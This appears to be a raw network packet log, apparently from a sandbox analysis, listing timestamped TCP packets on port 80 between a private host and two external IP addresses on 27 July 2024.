Jul 27, 2024 05:39:16.455801964 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.455813885 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.455828905 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.455840111 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.455857992 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.455866098 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.455885887 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.455900908 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.455926895 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.477354050 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.477380991 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.477421045 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.477447033 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.477468967 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.477493048 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.477536917 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.477536917 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.477536917 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.477590084 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.477626085 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.477636099 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.477668047 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.477682114 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.477705956 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.477706909 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.477720022 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.477724075 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.477739096 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.477751017 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.477765083 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.477782011 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.480742931 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.480766058 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.480781078 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.480793953 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.480808973 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.480819941 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.480820894 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.480839014 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.480856895 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.480878115 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.483171940 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.483196020 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.483211040 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.483223915 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.483239889 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.483249903 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.483273983 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.483280897 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.494213104 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.494226933 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.494249105 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.494263887 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.494276047 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.494277000 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.494293928 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.494441986 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.494441986 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.494441986 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.560213089 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.560314894 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.560329914 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.560353041 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.560367107 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.560381889 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.560395956 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.560410023 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.560422897 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.560431004 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.560444117 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.560457945 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.560472012 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.560520887 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.560547113 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.560549974 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.560549974 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.560549974 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.560563087 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.560573101 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.560579062 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.560592890 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.560609102 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.560616970 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.560623884 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.560638905 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.560653925 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.560661077 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.560695887 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.563275099 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.563410044 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.563462973 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.563465118 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.563488960 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.563502073 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.563522100 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.563532114 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.563538074 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.563570976 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.563576937 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.563591003 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.563611984 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.563616037 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.563632965 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.563647985 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.563654900 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.563662052 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.563669920 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.563678980 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.563685894 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.563692093 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.563707113 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.563720942 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.575351954 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.575386047 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.575421095 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.575453043 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.575470924 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.575503111 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.575536013 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.575567007 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.575599909 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.575613022 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.575613022 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.575632095 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.575634956 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.575648069 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.575665951 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.575676918 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.575709105 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.586122990 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.586174965 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.586191893 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.586208105 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.586220026 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.586273909 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.586307049 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.586319923 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.586339951 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.586344957 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.586374044 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.586385012 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.586409092 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.586420059 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.586441994 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.586450100 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.586477995 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.586494923 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.586520910 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.646254063 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.646318913 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.646320105 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.646343946 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.646359921 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.646363020 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.646377087 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.646388054 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.646395922 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.646408081 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.646410942 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.646425962 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.646430016 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.646445990 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.646452904 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.646461010 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.646471977 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.646481037 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.646490097 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.646498919 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.646516085 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.646517038 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.646531105 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.646532059 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.646548033 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.646567106 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.646570921 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.646588087 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.646601915 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.646603107 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.646620035 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.646622896 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.646635056 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.646648884 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.646652937 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.646667957 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.646684885 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.646713018 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.646934032 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.646958113 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.646971941 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.646995068 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.647003889 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.647011995 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.647027969 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.647031069 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.647043943 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.647057056 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.647059917 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.647075891 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.647078037 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.647090912 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.647106886 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.647108078 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.647123098 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.647147894 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.647187948 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.647202969 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.647217989 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.647243977 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.647254944 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.647310019 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.647325039 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.647337914 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.647361994 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.647362947 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.647378922 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.647389889 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.647392988 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.647413969 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.647418022 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.647423029 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.647434950 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.647452116 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.647459030 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.647468090 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.647481918 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.647494078 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.647504091 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.647778034 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.647823095 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.647830009 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.647839069 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.647864103 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.647875071 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.648000002 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.648015022 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.648027897 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.648041964 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.648051977 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.648057938 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.648072958 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.648076057 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.648087978 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.648101091 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.648103952 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.648121119 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.648129940 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.648137093 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.648148060 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.648153067 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.648165941 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.648175001 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.648181915 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.648210049 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.658375025 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.658390999 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.658406019 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.658561945 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.658580065 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.658595085 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.658608913 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.658628941 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.658631086 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.658655882 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.658662081 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.658672094 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.658685923 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.658689022 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.658704996 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.658715963 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.658720016 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.658735991 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.658736944 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.658752918 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.658767939 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.658782959 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.658785105 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.658797979 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.658813000 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.658814907 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.658828974 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.658829927 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.658855915 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.658878088 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.694426060 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.694467068 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.694489956 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.694505930 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.694519997 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.694520950 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.694535017 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.694557905 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.694564104 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.694574118 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.694586039 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.694590092 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.694606066 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.694618940 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.694624901 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.694636106 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.694653988 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.694655895 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.694664955 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.694670916 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.694686890 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.694694996 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.694701910 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.694715977 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.694717884 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.694734097 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.694742918 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.694751024 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.694773912 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.694787979 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.698508024 CEST	80	49483	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:16.698599100 CEST	49483	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:16.699232101 CEST	49483	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:16.704016924 CEST	80	49483	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:16.728277922 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.728334904 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.728367090 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.728406906 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.728435040 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.728436947 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.728534937 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.728573084 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.728583097 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.728606939 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.728622913 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.728640079 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.728650093 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.728673935 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.728682995 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.728709936 CEST	80	49477	85.28.47.31	192.168.2.4
